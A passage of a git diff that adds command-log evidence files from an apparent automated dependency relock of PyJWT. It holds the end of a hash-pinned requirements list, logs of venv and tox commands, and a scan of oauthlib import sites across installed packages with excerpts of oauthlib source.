--hash=sha256:9d7672ecf7557476642c88497c2f8d8542f8e36596e928e9bcba0e42e1e7d71f \ + --hash=sha256:9f6d73c1436b934e3f01df1e1b21ff765cd1d28c77dfb9ace207f746d4610ee1 \ + --hash=sha256:9fb17ea16e972c63d25d4a97f016d235c78dd2344820eb35bc034bc32012ee27 \ + --hash=sha256:a49370e8f711daec68d09b821a34e1167792ee2d24d405cbc2387be4f158b520 \ + --hash=sha256:a4fcfc8eb2c34148c118dfa02e6427ca278bfd0f3df7c5f99e33d2c0e81eae3e \ + --hash=sha256:a899cbd98dce6f5d8de1aad31cb712ec0a530abc0a86bd6edaa47c1090138467 \ + --hash=sha256:a9b1ba5610a4e20f655258d5a1fdc7ebe3d837bb0e45b581398b99eb98b1f5ca \ + --hash=sha256:af74f05666a5e531289cb1cc9c883d1de2088b8e5b4de48004e5ca8a830ac859 \ + --hash=sha256:b0748275abb8c1e1e09301ee3cf90c8a99678a4e92e4373705f2a2570d581273 \ + --hash=sha256:b266bd01fedeffeeac01a79ae181719ff848a5a13ce10075adbefc8f1daee70e \ + --hash=sha256:b4f15793aa49793ec8d1c708ab7f9eded1aa72edc5174cae703651555ed1b601 \ + --hash=sha256:b580e71cac3f8113d3135888770903eaf2f507e9421e5697d6ee6d8cd1c7f054 \ + --hash=sha256:b6a6f620cfe13ccec221fa312139135166e47ae169f8253f72a0abc0dae94376 \ + --hash=sha256:b790b39c7e9a4192dc2e201a282109ed2985a1ddbd5ac08dc56d0e121400a8f7 \ + --hash=sha256:b85b982afde6df99ecc996990d4ad7ccbdbb70e2a4ba4de0aecde5922ba98a0b \ + --hash=sha256:b8a0588521a26bf92a57a1705b77b8b59044cdceccac7151bd8d229e66b8dedb \ + --hash=sha256:ba440ae430c00eee41509353628600212112cd5018d5def7e9b05ea7ac34eb65 \ + --hash=sha256:bca03b91c323036913993ff5c738d0842fc9c60c4648e5c8d98331526df89784 \ + --hash=sha256:bebf8557577d4401ba8bd9ff33906f1376c877aa78d1fe216ad01b4d6745af71 \ + --hash=sha256:bec03d0d388060058f5d291a813f21c011041938a441c593374da6077fe21b1b \ + --hash=sha256:bf4a21e58b9cde0e401e683ebd00f6ed30a06d14e93f7c8fd059f8b6e8f87b6a \ + --hash=sha256:c0232bce2170103ec23c454e54a57008a9a72b5d1c3105dc2496750da8cfa47c \ + --hash=sha256:c4647674b6150d2cae088fc07de2738a84b8bcedebef29802cf0b0a82ab6face \ + --hash=sha256:c7044802eec4524fde550afc28edda0dd5784c4c45f0be151a2d3ba017daca7d \ + --hash=sha256:c7bd6683587567e5a49ee6e336e0612bec8329be1b7d4c8af5687dcdeb67ee1e \ + --hash=sha256:ca1f59c4e1ab6e72f0a23c13fca5430f889634166be85dbf1013683e49e3278e \ + --hash=sha256:cb95a9b1adaa48e41815a55ae740cfda005758104049a640a398120bf02515ca \ + --hash=sha256:cfebc0ac8333520d2d0423cbbe43ae43c8838862ddb898f5ca68565e395516e9 \ + --hash=sha256:d332fc2e3c94dad927f2112395772a4e4fedbcf8f80efc21ed7cdfae4d574fdb \ + --hash=sha256:d3e32536234a95f513bd374e93d717cf6b2231a791758de6c509e3653f234c95 \ + --hash=sha256:d5372ca1df0f91a86b047d1277c2aaf1edb32d78bbcefffc81b40ffd18f027ed \ + --hash=sha256:d77e1b2c6d04711478cb1c4ab90db07f1609ccf06a287d5607fcd90dc9863acf \ + --hash=sha256:d947071e6ebcf2e2bee8fce76e10faca8f7a14808ca36a910263acaacef08eca \ + --hash=sha256:dd7afd3f8b0bfb4e0d9fc3c31bfe8a4ec7debe124cfd90619305def3c8ca8cd2 \ + --hash=sha256:de6b9a04c606978fdfe72666fa216ffcf2d1a9f6a381058d4378f8d7b1e5de62 \ + --hash=sha256:e1651bf8e0398574646744c1885a41198eba53dc8a9312b954073f845c90a8df \ + --hash=sha256:e1b329cb8146d7b736677a2440e422eadd775d1806a81db2d4cded80a48efc1a \ + --hash=sha256:e1b51bebd221006d3d2f95fbe124b22b247136647ae5dcc8c7acafba66e5ee67 \ + --hash=sha256:e340382d1afa5d32b892b3ff062436d592ec3d692aeea3bef3a5cfe11bbf8c6f \ + --hash=sha256:e4b582bab49ac33c8deb97e058cd67c2c50dac0dd134874106d9c774fd272529 \ + --hash=sha256:e51ac5435758ba97ad69617e13233da53908beccc6cfcd6c34bbed8dcbede486 \ + --hash=sha256:e5542339dcf2747135c5c85f68680353d5cb9ffd741c0f2e8d832d054d41f35a \ + --hash=sha256:e6438cc8f23a9c1478633d216b16104a586b9761db62bfacb6425bac0a36679e \ + --hash=sha256:e81fda2fb4a07eda1a2252b216aa0df23ebcd4d584894e9612e80999a78fd95b \ + --hash=sha256:ea70f61a47f3cc93bdf8b2f368ed359ef02a01ca6393916bc8ff877427181e74 \ + --hash=sha256:ebd4549b108d732dba1d4ace67614b9545b21ece30937a63a65dd34efa19732d \ + --hash=sha256:efb07073be061c8f79d03d04139a80ba33cbd390ca8f0297aae9cce6411e4c6b \ + --hash=sha256:f0d97c18dfd9a9af4490631905a3f131a8e4c9e80a39353919e2cfed8f00aedc \ + --hash=sha256:f1e09112a2c31ffe8d80be1b0988fa6a18c5d5cad92a9ffbb1c04c91bfe52ad2 \ + --hash=sha256:f3d7a87a78d46a2e3d5b72587ac14b4c16952dd0887dbb051451eceac774411e \ + --hash=sha256:f4afb5c34f2c6fecdcc182dfcfc6af6cccf1aa923eed4d6a12e9d96904e1a0d8 \ + --hash=sha256:f6d2cb59377d99718913ad9a151030d6f83ef420a2b8f521d94609ecc106ee82 \ + --hash=sha256:f87ac53513d22240c7d59203f25cc3beac1e574c6cd681bbfd321987b69f95fd \ + --hash=sha256:ff86011bd159a9d2dfc89c34cfd8aff12875980e3bd6a39ff097887520e60249 +zipp==3.23.0 \ + --hash=sha256:071652d6115ed432f5ce1d34c336c0adfd6a884660d1e9712a256d3d3bd4b14e \ + --hash=sha256:a07157588a12518c9d4034df3fbbee09c814741a33ff63c05fa29d26a2404166 + +stderr: +Resolved 176 packages in 23ms diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-tox-driver-venv.txt b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-tox-driver-venv.txt new file mode 100644 index 000000000..b81f527c4 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-tox-driver-venv.txt @@ -0,0 +1,13 @@ +argv: ["rtk", "proxy", "uv", "venv", "--seed", "--python", "/.local/share/uv/python/cpython-3.13.15-linux-x86_64-gnu/bin/python3.13", "--no-python-downloads", "/tox-driver"] +cwd: +started_utc: 2026-09-30T17:07:03.922158+00:00 +ended_utc: 2026-09-30T17:07:04.095732+00:00 +exit_code: 0 + +stdout: + +stderr: +Using CPython 3.13.15 interpreter at: /.local/share/uv/python/cpython-3.13.15-linux-x86_64-gnu/bin/python3.13 +Creating virtual environment with seed packages at: /tox-driver + + pip==26.2.1 +Activate with: source /tox-driver/bin/activate diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-tox-run-help.txt b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-tox-run-help.txt new file mode 100644 index 000000000..962daf0e1 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-tox-run-help.txt @@ -0,0 +1,63 @@ +argv: ["rtk", "proxy", "/tox-driver/bin/python", "-m", "tox", "run", "--help"] +cwd: /pyjwt-source/pyjwt-1d41a6478e1562e68ff667fcd703356acf085f68 +started_utc: 2026-09-30T17:07:07.754941+00:00 +ended_utc: 2026-09-30T17:07:07.991354+00:00 +exit_code: 0 + +stdout: +usage: tox run [-h] [--colored {yes,no}] [--stderr-color {BLACK,BLUE,CYAN,GREEN,LIGHTBLACK_EX,LIGHTBLUE_EX,LIGHTCYAN_EX,LIGHTGREEN_EX,LIGHTMAGENTA_EX,LIGHTRED_EX,LIGHTWHITE_EX,LIGHTYELLOW_EX,MAGENTA,RED,RESET,WHITE,YELLOW}] + [--exit-and-dump-after seconds] [-c file] [--workdir dir] [--root dir] [--runner {virtualenv,virtualenv-pep-723}] [-v | -q] [--result-json path] [-i] [--hashseed SEED] [--discover path [path ...]] [--list-dependencies | + --no-list-dependencies] [-e ENV | -m label [label ...] | -f factor [factor ...] | --skip-env re] [-s [v]] [-n] [-b] [--installpkg INSTALL_PKG] [--fail-fast] [--develop] [--no-recreate-pkg] [--skip-pkg-install] + [--skip-env-install] [--version] [--no-provision [REQ_JSON]] [--no-recreate-provision] [-r] [-x OVERRIDE] + +options: + -h, --help show this help message and exit + --colored {yes,no} should output be enriched with colors, default is yes unless TERM=dumb or NO_COLOR is defined. (default: no) + --stderr-color {BLACK,BLUE,CYAN,GREEN,LIGHTBLACK_EX,LIGHTBLUE_EX,LIGHTCYAN_EX,LIGHTGREEN_EX,LIGHTMAGENTA_EX,LIGHTRED_EX,LIGHTWHITE_EX,LIGHTYELLOW_EX,MAGENTA,RED,RESET,WHITE,YELLOW} + color for stderr output, use RESET for terminal defaults. (default: RED) + --exit-and-dump-after seconds + dump tox threads after n seconds and exit the app - useful to debug when tox hangs, 0 means disabled (default: 0) + -c, --conf file configuration file/folder for tox (if not specified will discover one) (default: None) + --workdir dir tox working directory (if not specified will be the folder of the config file) (default: None) + --root dir project root directory (if not specified will be the folder of the config file) (default: None) + --runner {virtualenv,virtualenv-pep-723} + the tox run engine to use when not explicitly stated in tox env configuration (default: virtualenv) + --result-json path write a JSON file with detailed information about all commands and results involved (default: None) + -i, --no-capture disable output capture (mutually exclusive with --result-json and parallel mode) (default: False) + --hashseed SEED set PYTHONHASHSEED to SEED before running commands. Defaults to a random integer in the range [1, 4294967295] ([1, 1024] on Windows). Passing 'notset' suppresses this behavior. (default: 847866100) + --discover path [path ...] for Python discovery first try these Python executables (default: []) + --list-dependencies list the dependencies installed during environment setup (default: False) + --no-list-dependencies never list the dependencies installed during environment setup (default: True) + -s, --skip-missing-interpreters [v] + don't fail tests for missing interpreters: {config,true,false} choice (default: config) + -n, --notest do not run the test commands (default: False) + -b, --pkg-only, --sdistonly + only perform the packaging activity (default: False) + --installpkg INSTALL_PKG use specified package for installation into venv, instead of packaging the project (default: None) + --fail-fast stop execution after the first environment failure (default: False) + --develop install package in development mode (default: False) + --no-recreate-pkg if recreate is set do not recreate packaging tox environment(s) (default: False) + --skip-pkg-install skip package installation for this run (default: False) + --skip-env-install skip dependency and package installation, reuse existing environment (default: False) + --version show program's and plugins version number and exit + --no-provision [REQ_JSON] do not perform provision, but fail and if a path was provided write provision metadata as JSON to it (default: False) + --no-recreate-provision if recreate is set do not recreate provision tox environment (default: False) + -r, --recreate recreate the tox environments (default: False) + -x, --override OVERRIDE configuration override(s), e.g., -x testenv:pypy3.ignore_errors=True (default: []) + +verbosity: + -v, --verbose increase verbosity (default: 2) + -q, --quiet decrease verbosity (default: 0) + +subcommands: + tox command to execute (by default legacy) + +select target environment(s): + -e ENV enumerate (ALL -> all environments, not set -> use from config) (default: ) + -m label [label ...] labels to evaluate (default: []) + -f factor [factor ...] factors to evaluate (passing multiple factors means 'AND', passing this option multiple times means 'OR') (default: []) + --skip-env re exclude all environments selected that match this regular expression (default: ) + +config file '/.config/tox/config.ini' missing (change via env var TOX_USER_CONFIG_FILE) + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-tox-version.txt b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-tox-version.txt new file mode 100644 index 000000000..d87bbcc06 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-tox-version.txt @@ -0,0 +1,12 @@ +argv: ["rtk", "proxy", "/tox-driver/bin/python", "-m", "tox", "--version"] +cwd: /pyjwt-source/pyjwt-1d41a6478e1562e68ff667fcd703356acf085f68 +started_utc: 2026-09-30T17:07:07.530393+00:00 +ended_utc: 2026-09-30T17:07:07.753900+00:00 +exit_code: 0 + +stdout: +4.64.5 from /tox-driver/lib/python3.13/site-packages/tox/__init__.py +registered plugins: + tox-gh-actions-3.5.0 at /tox-driver/lib/python3.13/site-packages/tox_gh_actions/plugin.py + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-oauthlib-alias-callers.txt b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-oauthlib-alias-callers.txt new file mode 100644 index 000000000..5984828ab --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-oauthlib-alias-callers.txt @@ -0,0 +1,486 @@ +argv: ["rtk", "proxy", "/venv/bin/python", "/blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-oauthlib-callers.py.txt", "/venv/lib/python3.13/site-packages", "/blueprints/runtime-workers/openhands"] +cwd: +started_utc: 2026-09-30T17:14:52.866701+00:00 +ended_utc: 2026-09-30T17:15:28.848200+00:00 +exit_code: 0 + +stdout: +# installed closure excluding OAuthlib itself and installer tooling: 10811 Python sources searched; parse errors: 0 +REVIEWED TEXT ONLY func_timeout/py2_raise.py:5: invalid syntax; sha256 19d989963807de3847a00bbe90337fd9100a79cee4327683b601e4bc96225b77 + + +# Python2 allows specifying an alternate traceback. +def raise_exception(exception): + raise exception[0] , None , exception[0].__traceback__ + +## OAuthlib literal importers with aliases, from-imports and bound call sites +requests_oauthlib files: 6 +requests_oauthlib/compliance_fixes/instagram.py + 3: oauthlib.common.add_params_to_uri bound as add_params_to_uri + call 19: oauthlib.common.add_params_to_uri +requests_oauthlib/compliance_fixes/slack.py + 3: oauthlib.common.add_params_to_uri bound as add_params_to_uri + call 30: oauthlib.common.add_params_to_uri +requests_oauthlib/oauth1_auth.py + 4: oauthlib.common.extract_params bound as extract_params + 5: oauthlib.oauth1.Client bound as Client + 5: oauthlib.oauth1.SIGNATURE_HMAC bound as SIGNATURE_HMAC + 5: oauthlib.oauth1.SIGNATURE_TYPE_AUTH_HEADER bound as SIGNATURE_TYPE_AUTH_HEADER + 6: oauthlib.oauth1.SIGNATURE_TYPE_BODY bound as SIGNATURE_TYPE_BODY + call 77: oauthlib.common.extract_params +requests_oauthlib/oauth1_session.py + 5: oauthlib.common.add_params_to_uri bound as add_params_to_uri + 6: oauthlib.common.urldecode bound as _urldecode + 7: oauthlib.oauth1.SIGNATURE_HMAC bound as SIGNATURE_HMAC + 7: oauthlib.oauth1.SIGNATURE_RSA bound as SIGNATURE_RSA + 7: oauthlib.oauth1.SIGNATURE_TYPE_AUTH_HEADER bound as SIGNATURE_TYPE_AUTH_HEADER + call 19: oauthlib.common.urldecode + call 253: oauthlib.common.add_params_to_uri +requests_oauthlib/oauth2_auth.py + 1: oauthlib.oauth2.WebApplicationClient bound as WebApplicationClient + 1: oauthlib.oauth2.InsecureTransportError bound as InsecureTransportError + 2: oauthlib.oauth2.is_secure_transport bound as is_secure_transport + call 19: oauthlib.oauth2.WebApplicationClient + call 31: oauthlib.oauth2.is_secure_transport + call 32: oauthlib.oauth2.InsecureTransportError +requests_oauthlib/oauth2_session.py + 3: oauthlib.common.generate_token bound as generate_token + 3: oauthlib.common.urldecode bound as urldecode + 4: oauthlib.oauth2.WebApplicationClient bound as WebApplicationClient + 4: oauthlib.oauth2.InsecureTransportError bound as InsecureTransportError + 5: oauthlib.oauth2.LegacyApplicationClient bound as LegacyApplicationClient + 6: oauthlib.oauth2.TokenExpiredError bound as TokenExpiredError + 6: oauthlib.oauth2.is_secure_transport bound as is_secure_transport + call 78: oauthlib.oauth2.WebApplicationClient + call 267: oauthlib.oauth2.is_secure_transport + call 268: oauthlib.oauth2.InsecureTransportError + call 368: oauthlib.common.urldecode + call 371: oauthlib.common.urldecode + call 452: oauthlib.oauth2.is_secure_transport + call 453: oauthlib.oauth2.InsecureTransportError + call 478: oauthlib.common.urldecode + call 515: oauthlib.oauth2.is_secure_transport + call 516: oauthlib.oauth2.InsecureTransportError +## Advisory-related source references outside OAuthlib +authlib reference lines: 32 + authlib/integrations/django_oauth2/__init__.py:4: from .endpoints import RevocationEndpoint + authlib/integrations/django_oauth2/endpoints.py:1: from authlib.oauth2.rfc7009 import RevocationEndpoint as _RevocationEndpoint + authlib/integrations/django_oauth2/endpoints.py:4: class RevocationEndpoint(_RevocationEndpoint): + authlib/integrations/django_oauth2/endpoints.py:15: server.register_endpoint(RevocationEndpoint) + authlib/integrations/django_oauth2/endpoints.py:21: RevocationEndpoint.ENDPOINT_NAME, request + authlib/integrations/sqla_oauth2/functions.py:70: from authlib.oauth2.rfc7009 import RevocationEndpoint + authlib/integrations/sqla_oauth2/functions.py:74: class _RevocationEndpoint(RevocationEndpoint): + authlib/oauth2/rfc6749/__init__.py:28: from .grants import AuthorizationCodeGrant + authlib/oauth2/rfc6749/__init__.py:83: "AuthorizationCodeGrant", + authlib/oauth2/rfc6749/authorization_server.py:203: class AuthorizationCodeGrant(grants.AuthorizationCodeGrant): + authlib/oauth2/rfc6749/authorization_server.py:207: authorization_server.register_grant(AuthorizationCodeGrant) + authlib/oauth2/rfc6749/authorization_server.py:219: RevocationEndpoint:: + authlib/oauth2/rfc6749/authorization_server.py:221: authorization_server.register_endpoint(RevocationEndpoint) + authlib/oauth2/rfc6749/grants/__init__.py:23: from .authorization_code import AuthorizationCodeGrant + authlib/oauth2/rfc6749/grants/__init__.py:36: "AuthorizationCodeGrant", + authlib/oauth2/rfc6749/grants/authorization_code.py:20: class AuthorizationCodeGrant(BaseGrant, AuthorizationEndpointMixin, TokenEndpointMixin): + authlib/oauth2/rfc6749/grants/authorization_code.py:296: class MyAuthorizationCodeGrant(AuthorizationCodeGrant): + authlib/oauth2/rfc7009/__init__.py:11: from .revocation import RevocationEndpoint + authlib/oauth2/rfc7009/__init__.py:13: __all__ = ["prepare_revoke_token_request", "RevocationEndpoint"] + authlib/oauth2/rfc7009/revocation.py:9: class RevocationEndpoint(TokenEndpoint): + authlib/oauth2/rfc7636/challenge.py:39: The AuthorizationCodeGrant SHOULD save the ``code_challenge`` and + authlib/oauth2/rfc7636/challenge.py:43: server.register_grant(AuthorizationCodeGrant, [CodeChallenge(required=True)]) + authlib/oauth2/rfc7636/challenge.py:62: self.validate_code_challenge, + authlib/oauth2/rfc7636/challenge.py:69: def validate_code_challenge(self, grant, redirect_uri): + authlib/oauth2/rfc9068/revocation.py:6: from ..rfc7009 import RevocationEndpoint + authlib/oauth2/rfc9068/revocation.py:9: class JWTRevocationEndpoint(RevocationEndpoint): + authlib/oauth2/rfc9068/revocation.py:11: :class:`~authlib.oauth2.rfc7009.RevocationEndpoint`. + authlib/oauth2/rfc9068/revocation.py:20: :class:`~authlib.oauth2.rfc7009.RevocationEndpoint`. + authlib/oidc/core/grants/code.py:41: :param grant: AuthorizationCodeGrant instance + authlib/oidc/core/grants/code.py:136: The register this extension with AuthorizationCodeGrant:: + authlib/oidc/core/grants/code.py:139: AuthorizationCodeGrant, extensions=[MyOpenIDCode()] + authlib/oidc/core/grants/hybrid.py:28: class MyAuthorizationCodeGrant(AuthorizationCodeGrant): +# recipe: 12 Python sources searched; parse errors: 0 +## OAuthlib literal importers with aliases, from-imports and bound call sites +## Advisory-related source references outside OAuthlib +# Entered namespaces and advisory implementation: file hashes and source lines +oauthlib/__init__.py sha256 ccbf8a40b750b21931f842b1b416e0bb5cb24e97f54d127b42d7da38eb1d5dc4 +oauthlib/__init__.py:1: """ +oauthlib/__init__.py:2: oauthlib +oauthlib/__init__.py:3: ~~~~~~~~ +oauthlib/__init__.py:4: +oauthlib/__init__.py:5: A generic, spec-compliant, thorough implementation of the OAuth +oauthlib/__init__.py:6: request-signing logic. +oauthlib/__init__.py:7: +oauthlib/__init__.py:8: :copyright: (c) The OAuthlib Community +oauthlib/__init__.py:9: :license: BSD-3-Clause, see LICENSE for details. +oauthlib/__init__.py:10: """ +oauthlib/__init__.py:11: import logging +oauthlib/__init__.py:12: from logging import NullHandler +oauthlib/__init__.py:13: +oauthlib/__init__.py:14: __author__ = 'The OAuthlib Community' +oauthlib/__init__.py:15: __version__ = '3.3.1' +oauthlib/__init__.py:16: +oauthlib/__init__.py:17: logging.getLogger('oauthlib').addHandler(NullHandler()) +oauthlib/__init__.py:18: +oauthlib/__init__.py:19: _DEBUG = False +oauthlib/__init__.py:20: +oauthlib/__init__.py:21: def set_debug(debug_val): +oauthlib/__init__.py:22: """Set value of debug flag +oauthlib/__init__.py:23: +oauthlib/__init__.py:24: :param debug_val: Value to set. Must be a bool value. +oauthlib/__init__.py:25: """ +oauthlib/__init__.py:26: global _DEBUG # noqa: PLW0603 +oauthlib/__init__.py:27: _DEBUG = debug_val +oauthlib/__init__.py:28: +oauthlib/__init__.py:29: def get_debug(): +oauthlib/__init__.py:30: """Get debug mode value. +oauthlib/__init__.py:31: +oauthlib/__init__.py:32: :return: `True` if debug mode is on, `False` otherwise +oauthlib/__init__.py:33: """ +oauthlib/__init__.py:34: return _DEBUG +oauthlib/oauth1/__init__.py sha256 e3b84443bb3f1595cbc94b7a5d513e0cf0bcbd4315b0997bffe1c290d3362253 +oauthlib/oauth1/__init__.py:1: """ +oauthlib/oauth1/__init__.py:2: oauthlib.oauth1 +oauthlib/oauth1/__init__.py:3: ~~~~~~~~~~~~~~ +oauthlib/oauth1/__init__.py:4: +oauthlib/oauth1/__init__.py:5: This module is a wrapper for the most recent implementation of OAuth 1.0 Client +oauthlib/oauth1/__init__.py:6: and Server classes. +oauthlib/oauth1/__init__.py:7: """ +oauthlib/oauth1/__init__.py:8: from .rfc5849 import ( +oauthlib/oauth1/__init__.py:9: SIGNATURE_HMAC, SIGNATURE_HMAC_SHA1, SIGNATURE_HMAC_SHA256, +oauthlib/oauth1/__init__.py:10: SIGNATURE_HMAC_SHA512, SIGNATURE_PLAINTEXT, SIGNATURE_RSA, +oauthlib/oauth1/__init__.py:11: SIGNATURE_RSA_SHA1, SIGNATURE_RSA_SHA256, SIGNATURE_RSA_SHA512, +oauthlib/oauth1/__init__.py:12: SIGNATURE_TYPE_AUTH_HEADER, SIGNATURE_TYPE_BODY, SIGNATURE_TYPE_QUERY, +oauthlib/oauth1/__init__.py:13: Client, +oauthlib/oauth1/__init__.py:14: ) +oauthlib/oauth1/__init__.py:15: from .rfc5849.endpoints import ( +oauthlib/oauth1/__init__.py:16: AccessTokenEndpoint, AuthorizationEndpoint, RequestTokenEndpoint, +oauthlib/oauth1/__init__.py:17: ResourceEndpoint, SignatureOnlyEndpoint, WebApplicationServer, +oauthlib/oauth1/__init__.py:18: ) +oauthlib/oauth1/__init__.py:19: from .rfc5849.errors import ( +oauthlib/oauth1/__init__.py:20: InsecureTransportError, InvalidClientError, InvalidRequestError, +oauthlib/oauth1/__init__.py:21: InvalidSignatureMethodError, OAuth1Error, +oauthlib/oauth1/__init__.py:22: ) +oauthlib/oauth1/__init__.py:23: from .rfc5849.request_validator import RequestValidator +oauthlib/oauth2/__init__.py sha256 2bb207c3f04d0992d24d0a807d0aac2cad0ad3303afcaad00c2cdce12fb7de24 +oauthlib/oauth2/__init__.py:1: """ +oauthlib/oauth2/__init__.py:2: oauthlib.oauth2 +oauthlib/oauth2/__init__.py:3: ~~~~~~~~~~~~~~ +oauthlib/oauth2/__init__.py:4: +oauthlib/oauth2/__init__.py:5: This module is a wrapper for the most recent implementation of OAuth 2.0 Client +oauthlib/oauth2/__init__.py:6: and Server classes. +oauthlib/oauth2/__init__.py:7: """ +oauthlib/oauth2/__init__.py:8: +oauthlib/oauth2/__init__.py:9: from .rfc6749.clients import ( +oauthlib/oauth2/__init__.py:10: BackendApplicationClient, +oauthlib/oauth2/__init__.py:11: Client, +oauthlib/oauth2/__init__.py:12: LegacyApplicationClient, +oauthlib/oauth2/__init__.py:13: MobileApplicationClient, +oauthlib/oauth2/__init__.py:14: ServiceApplicationClient, +oauthlib/oauth2/__init__.py:15: WebApplicationClient, +oauthlib/oauth2/__init__.py:16: ) +oauthlib/oauth2/__init__.py:17: from .rfc6749.endpoints import ( +oauthlib/oauth2/__init__.py:18: AuthorizationEndpoint, +oauthlib/oauth2/__init__.py:19: BackendApplicationServer, +oauthlib/oauth2/__init__.py:20: IntrospectEndpoint, +oauthlib/oauth2/__init__.py:21: LegacyApplicationServer, +oauthlib/oauth2/__init__.py:22: MetadataEndpoint, +oauthlib/oauth2/__init__.py:23: MobileApplicationServer, +oauthlib/oauth2/__init__.py:24: ResourceEndpoint, +oauthlib/oauth2/__init__.py:25: RevocationEndpoint, +oauthlib/oauth2/__init__.py:26: Server, +oauthlib/oauth2/__init__.py:27: TokenEndpoint, +oauthlib/oauth2/__init__.py:28: WebApplicationServer, +oauthlib/oauth2/__init__.py:29: ) +oauthlib/oauth2/__init__.py:30: from .rfc6749.errors import ( +oauthlib/oauth2/__init__.py:31: AccessDeniedError, +oauthlib/oauth2/__init__.py:32: FatalClientError, +oauthlib/oauth2/__init__.py:33: InsecureTransportError, +oauthlib/oauth2/__init__.py:34: InvalidClientError, +oauthlib/oauth2/__init__.py:35: InvalidClientIdError, +oauthlib/oauth2/__init__.py:36: InvalidGrantError, +oauthlib/oauth2/__init__.py:37: InvalidRedirectURIError, +oauthlib/oauth2/__init__.py:38: InvalidRequestError, +oauthlib/oauth2/__init__.py:39: InvalidRequestFatalError, +oauthlib/oauth2/__init__.py:40: InvalidScopeError, +oauthlib/oauth2/__init__.py:41: MismatchingRedirectURIError, +oauthlib/oauth2/__init__.py:42: MismatchingStateError, +oauthlib/oauth2/__init__.py:43: MissingClientIdError, +oauthlib/oauth2/__init__.py:44: MissingCodeError, +oauthlib/oauth2/__init__.py:45: MissingRedirectURIError, +oauthlib/oauth2/__init__.py:46: MissingResponseTypeError, +oauthlib/oauth2/__init__.py:47: MissingTokenError, +oauthlib/oauth2/__init__.py:48: MissingTokenTypeError, +oauthlib/oauth2/__init__.py:49: OAuth2Error, +oauthlib/oauth2/__init__.py:50: ServerError, +oauthlib/oauth2/__init__.py:51: TemporarilyUnavailableError, +oauthlib/oauth2/__init__.py:52: TokenExpiredError, +oauthlib/oauth2/__init__.py:53: UnauthorizedClientError, +oauthlib/oauth2/__init__.py:54: UnsupportedGrantTypeError, +oauthlib/oauth2/__init__.py:55: UnsupportedResponseTypeError, +oauthlib/oauth2/__init__.py:56: UnsupportedTokenTypeError, +oauthlib/oauth2/__init__.py:57: ) +oauthlib/oauth2/__init__.py:58: from .rfc6749.grant_types import ( +oauthlib/oauth2/__init__.py:59: AuthorizationCodeGrant, +oauthlib/oauth2/__init__.py:60: ClientCredentialsGrant, +oauthlib/oauth2/__init__.py:61: ImplicitGrant, +oauthlib/oauth2/__init__.py:62: RefreshTokenGrant, +oauthlib/oauth2/__init__.py:63: ResourceOwnerPasswordCredentialsGrant, +oauthlib/oauth2/__init__.py:64: ) +oauthlib/oauth2/__init__.py:65: from .rfc6749.request_validator import RequestValidator +oauthlib/oauth2/__init__.py:66: from .rfc6749.tokens import BearerToken, OAuth2Token +oauthlib/oauth2/__init__.py:67: from .rfc6749.utils import is_secure_transport +oauthlib/oauth2/__init__.py:68: from .rfc8628.clients import DeviceClient +oauthlib/oauth2/__init__.py:69: from oauthlib.oauth2.rfc8628.endpoints import DeviceAuthorizationEndpoint, DeviceApplicationServer +oauthlib/oauth2/__init__.py:70: from oauthlib.oauth2.rfc8628.grant_types import DeviceCodeGrant +oauthlib/common.py sha256 39e686f928b00d7004b0ad5f921e4669b8123c68c6e0072ec2eab007986b1bf0 +oauthlib/common.py:185: return str(int(time.time())) +oauthlib/common.py:186: +oauthlib/common.py:187: +oauthlib/common.py:188: def generate_token(length=30, chars=UNICODE_ASCII_CHARACTER_SET): +oauthlib/common.py:189: """Generates a non-guessable OAuth token +oauthlib/common.py:190: +oauthlib/common.py:191: OAuth (1 and 2) does not specify the format of tokens except that they +oauthlib/common.py:192: should be strings of random characters. Tokens should not be guessable +oauthlib/common.py:193: and entropy when generating the random characters is important. Which is +oauthlib/common.py:194: why SystemRandom is used instead of the default random.choice method. +oauthlib/common.py:195: """ +oauthlib/common.py:196: rand = SystemRandom() +oauthlib/common.py:197: return ''.join(rand.choice(chars) for x in range(length)) +oauthlib/common.py:198: +oauthlib/common.py:199: +oauthlib/common.py:200: def generate_signed_token(private_pem, request): +oauthlib/common.py:201: import jwt # noqa: PLC0415 +oauthlib/common.py:202: +oauthlib/common.py:203: now = datetime.datetime.utcnow() +oauthlib/common.py:204: +oauthlib/common.py:205: claims = { +oauthlib/common.py:206: 'scope': request.scope, +oauthlib/common.py:207: 'exp': now + datetime.timedelta(seconds=request.expires_in) +oauthlib/common.py:208: } +oauthlib/common.py:209: +oauthlib/common.py:210: claims.update(request.claims) +oauthlib/common.py:211: +oauthlib/common.py:212: token = jwt.encode(claims, private_pem, 'RS256') +oauthlib/common.py:213: token = to_unicode(token, "UTF-8") +oauthlib/common.py:214: +oauthlib/common.py:215: return token +oauthlib/common.py:216: +oauthlib/common.py:217: +oauthlib/common.py:218: def verify_signed_token(public_pem, token): +oauthlib/common.py:219: import jwt # noqa: PLC0415 +oauthlib/common.py:220: +oauthlib/common.py:221: return jwt.decode(token, public_pem, algorithms=['RS256']) +oauthlib/common.py:222: +oauthlib/common.py:223: +oauthlib/oauth2/rfc6749/endpoints/revocation.py sha256 ebc5248a9cfb50e75e04298ee4a4d1a34bf06d415df2d4c6db60a4d21165ba6c +oauthlib/oauth2/rfc6749/endpoints/revocation.py:1: """ +oauthlib/oauth2/rfc6749/endpoints/revocation.py:2: oauthlib.oauth2.rfc6749.endpoint.revocation +oauthlib/oauth2/rfc6749/endpoints/revocation.py:3: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +oauthlib/oauth2/rfc6749/endpoints/revocation.py:4: 